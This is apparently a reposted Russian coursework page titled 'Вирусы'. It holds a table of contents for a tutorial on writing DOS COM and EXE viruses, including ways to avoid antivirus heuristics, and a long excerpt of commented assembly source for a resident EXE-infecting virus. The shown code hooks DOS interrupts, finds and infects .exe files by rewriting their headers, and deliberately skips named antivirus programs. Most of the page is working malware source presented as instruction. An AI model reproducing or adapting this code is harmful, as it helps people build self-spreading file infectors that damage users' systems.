Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

       int 21h

       jnc cs:found_size

    to_r_2:    jmp cs:r_2

 

    found_size:mov descrypt,ax        ;Установим ука-

                                      ;затель в ко-

    mov cx,word ptr [new_dta + 01ch]  ;нец файла ...

               mov dx,word ptr [new_dta + 01ah]

               sub dx,1

               sbb cx,0

               call cs:setpointer

               jnc cs:read_last

               jmp cs:find_next

 

    read_last: mov cx,1               ;Считаем послед-

               lea dx,last            ;ний байт ...

               call cs:read

       jnc cs:compar

               jmp cs:close_file

 

    compar:    cmp last,'7'           ;Индикатор зара-

                                      ;женности

       jne cs:mmm

               jmp cs:find_next

 

    mmm:       xor cx,cx              ;Считаем заголо-

               xor dx,dx              ;вок EXE - файла

               call cs:setpointer

               jnc cs:read_head

    to_next:   jmp cs:find_next

 

    read_head: mov cx,27              ;

               lea dx,header          ;

               call cs:read           ;

               jnc cs:next_step       ;

               jmp cs:restore_dta     ;

                                      ;Запомним :

                                      ;Значение IP

                                      ;файла ...

    next_step: mov ax,word ptr header[14h]

               mov old_ip,ax

                                      ;Значение CS

                                      ;файла ...

               mov ax,word ptr header[16h]

               mov old_cs,ax

                                      ;Значение SS

                                      ;файла ...

               mov ax,word ptr header[0eh]

               mov old_ss,ax

                                      ;Значение SP

                                      ;файла ...

               mov ax,word ptr header[10h]

               mov old_sp,ax

                                      ;Вычислим ...

               mov ax,word ptr header[04h]

               mov cl,5

               shl ax,cl

               cmp ax,0f000h          ;Файл длиннее

                                      ;983040 байт ?

               jna cs:good_size       ;Нет !

               jmp cs:find_next       ;Да !

    good_size: mov di,ax

               sub ax,word ptr header[08h]

               mov to_16h,ax          ;Новое значение

                                      ;CS ...

 

               mov ax,di

               xor dx,dx

               call cs:mover

               mov f_seek_low,ax

               mov f_seek_high,dx

    cmp dx,word ptr [new_dta + 01ch]  ;Файл содержит

                                     ;оверлеи ?

               jl cs:to_next          ;Да !

               ja cs:not_ovl          ;Нет !

               cmp ax,word ptr [new_dta + 01ah]

               jae cs:not_ovl         ;Нет !

               jmp cs:find_next       ;Да !

    not_ovl:   add ax,vir_len

               adc dx,0

               mov bx,512

               div bx

               cmp dx,0

               je cs:round

               inc ax

    round:     mov to_04h,ax          ;Новую длину

                                      ;файла в страни-

                                      ;цах ...

               mov to_02h,dx

    mov word ptr header[02h],dx       ;И заполним эти-

                                      ;ми значе -

               mov ax,to_04h          ;ниями соответс-

                                      ;твующие

    mov word ptr header[04h],ax       ;поля заголовка

               mov word ptr header[14h],0

               mov ax,to_16h

               mov word ptr header[16h],ax

               mov word ptr header[0eh],ax

    mov word ptr header[10h],to_new_stack + 96

               mov sub_ds,10h

               mov maska[0],'a'

 

               xor dx,dx              ;Запишем

               xor cx,cx              ;скорректирован-

               call cs:setpointer     ;ный заголовок

               jc cs:close_file       ;на диск ...

 

               lea dx,header

               mov cx,27

               call cs:write

               jc cs:close_file

 

               mov dx,f_seek_low      ;Установим ука-

               mov cx,f_seek_high     ;затель в файле

               call cs:setpointer

               jc cs:close_file

 

               mov cx,2               ;Запишем начало

               lea dx,end_file        ;вируса ...

               call cs:write

               jc cs:close_file

 

               lea dx,vir + 2         ;И остальную

               mov cx,vir_len - 2     ;часть ...

               call cs:write

 

    close_file:xor ax,ax              ;Закроем зара-

               mov ah,3eh             ;женный файл ...

               mov bx,descrypt

               int 21h

 

    restore_dta:                      ;Восстановим DTA

               push ds

               mov ah,1ah

               mov dx,bx_dta

               mov ds,es_dta

               int 21h

               pop ds

 

    exit_zarasa:

               pop es                 ;И регистры ...

               pop ds

               pop bp

               pop di

               pop si

               pop dx

               pop cx

               pop bx

               pop ax

       popf

               iret                   ;Выходим ...

 

    ;-------------------------------------------------

 

    ; _______________________________________________

    ;|                                               |

    ;| Напишем новые обработчики INT 21h и INT 24h   |

    ;|_______________________________________________|

 

    ;-------------------------------------------------

 

               to_new_21h equ $-vir

 

    new_21h:   jmp cs:start_21h

 

    tg_infect  db   0

 

    start_21h: call cs:rest_code      ;На всякий слу-

                                      ;чай восстановим

                                      ;промежуточный

                                      ;обработчик

                                      ;INT 21h ...

               pushf

               push di

               push es

               xor di,di              ;Перехват

               mov es,di              ;Int  24h в

               mov di,90h             ;резидентном

    mov word ptr es:[di],to_new_24h   ;режиме

               mov es:[di+2],cs

               cmp ah,03bh            ;Смена каталога?

               jne cs:new_cmp_1

    mov cs:tg_infect - 100h,1         ;Да - взводим

                                      ;триггер ...

    new_cmp_1: cmp ah,00eh            ;Смена диска ?

               jne cs:to_jump

    mov cs:tg_infect - 100h,1         ;Да - взводим

                                      ;триггер

    to_jump:   pop es

               pop di

               popf

               db 0eah                ;Переход на ста-

                                      ;рый обработчик

    old_21h    dw 0                   ;INT 21h ...

    old_21h_2  dw 0

 

    ;-------------------------------------------------

 

               to_new_24h equ $ - vir

 

    new_24h:   mov al,3               ;Вернем програм-

                                      ;ме управление и

               iret                   ;код ошибки ...

 

    ;-------------------------------------------------

 

    ;/***********************************************/

 

    ;Data area

    new_dta       db   128 dup (0)    ;Новая DTA ...

    maska         db   61h,'.exe',0   ;Маска для

                                      ;поиска ...

    fn            db   12 dup (' '),0 ;Место для имени

                                      ;файла

    end_file      db   0ebh           ;Первые два бай-

                                      ;та вируса

                  db   push_len       ;в  файле ...

    header        db   27 dup ( 0 )   ;Массив для

                                      ;заголовка ...

    descrypt      dw   0              ;Дескриптор ...

    to_02h        dw   0              ;Ячейки для

    to_04h        dw   0              ;хранения вычис-

    to_16h        dw   0              ;ляемых элемен-

    my_ip         dw   0              ;тов заголовка

    my_cs         dw   0              ;

    my_16h        dw   0              ;

    my_ss         dw   0              ;

    my_sp         dw   0              ;

    old_ss        dw   0              ;

    old_sp        dw   0              ;

    f_seek_low    dw   0              ;Младшая и стар-

                                      ;шая части

    f_seek_high   dw   0              ;указателя ...

    es_dta        dw   0              ;Адрес старой

    bx_dta        dw   0              ;DTA ...

    first_psp     dw   0              ;Сегмент первого

                                      ;PSP ...

    es_save       dw   0

    to_new_stack  equ  $ - vir        ;Смещение к

                                      ;стеку ...

    new_stack     dw   50 dup ( 0 )   ;Новый стек ...

    name_1        db   'ADIN'         ;Файлы ,имена

    name_2        db   'DINF'         ;которых начина-

    name_3        db   'DRWE'         ;ются так,

    name_4        db   'AIDS'         ;заражать

    name_5        db   'ANTI'         ;нельзя !

    name_6        db   'WEB'

    inside        db   0

    vizitka       db   'Programmed in Zhitomir'

                  db   ' Politechnical Institute'

                  db   'FICT is the best!'

                  db   ' (AU - ... ,virmaker)'

    mes_len       equ  $ - vizitka

    last          db   0              ;Последний байт

 

    ;-------------------------------------------------

 

    setpointer proc                   ;Процедура уста-

       mov ax,4200h           ;новки указателя

       mov bx,descrypt       ;в файле ...

       int 21h

               ret

    setpointer endp

 

    read       proc                   ;Процедура чте-

               mov ah,3fh             ;ния из файла

       mov bx,descrypt

       int 21h

               ret

    read       endp

 

    write      proc                   ;Процедура запи-

               mov ah,40h             ;си в файл ...

               mov bx,descrypt

               int 21h

               ret

    write      endp

 

    mover      proc                   ;Процедура умно-

               mov cx,04h             ;жения на 16

    left:      shl dx,1               ;двойного слова

               shl ax,1               ;DX : CX

               adc dx,00h

               loop cs:left

               ret

    mover      endp

 

    rest_code  proc                   ;Процедура вос-

                                      ;станавливает

               push bx                ;в памяти текст

               push cx                ;промежуточного

               push si                ;обработчика

                                      ;INT 21h ...

               push di

               push es

               pushf

               cli

               mov es,cs:first_psp - 100h

               xor di,di

               mov si,offset cs:to_bios - 100h

               mov cx,code_len

    loader:    mov bl,byte ptr cs:[si]

               mov byte ptr es:[di],bl

               inc si

               inc di

               loop cs:loader

               sti

               popf

               pop es

               pop di

               pop si

               pop cx

               pop bx

               ret

    rest_code  endp

 

    search     proc                   ;Процедура

               push ax                ;сравнивает

               push cx                ;строки ...

               mov inside,1

               lea di,fn

    new_cmp:   mov al,byte ptr ds:[si]

               cmp byte ptr ds:[di],al

               jne cs:not_equal

               inc di

               inc si

               loop cs:new_cmp

              jmp cs:to_ret

    not_equal: mov inside,0

    to_ret:    pop cx

               pop ax

               ret

    search     endp

 

    ;-------------------------------------------------

 

    to_bios:   push ax                ;Текст промежу-

               push ds                ;точного обра-

               pushf                  ;ботчика Int 21h

               xor ax,ax

               mov ds,ax

    cmp word ptr ds:[0006h],0070h     ;Int 01h пере-

                                      ;хвачено ?

               jne cs:uuuuu

                                      ;JMP на систем-

                                      ;ный или вирус-

                                      ;ный обработчики

                                      ;INT 21h ...

               popf

               pop ds

               pop ax

               db 0eah                ;На вирусный...

    our_21h_ip dw to_new_21h

    our_21h_cs dw 00h

    uuuuu:     popf

               pop ds

               pop ax

               db 0eah                ;На системный...

    sys_21h_ip dw 00h

    sys_21h_cs dw 00h

 

    code_len equ $ - to_bios          ;Длина обработ-

                                      ;чика ...

 

    ;-------------------------------------------------

 

                  db   '7'            ;Последний байт

                                      ;вируса ...

 

    vir_len       equ $-vir           ;Длина  вируса

                                      ;в байтах

    vir_par       equ ($-vir + 0fh)/16;И в параграфах

 

 

    prg ends

    end vir

 

 

    Как видите, в вирусе приняты определенные меры для

    того,  чтобы он не  смог заразить антивирусные про-

    граммы .Дело в том,что  все ( или почти все ) анти-

    вирусы при запуске  проверяют себя на зараженность,

    и при обнаружении  изменений своего кода выдают  со-

    ответствующее сообщение  . Поэтому вирус проверяет,

Информация о работе Вирусы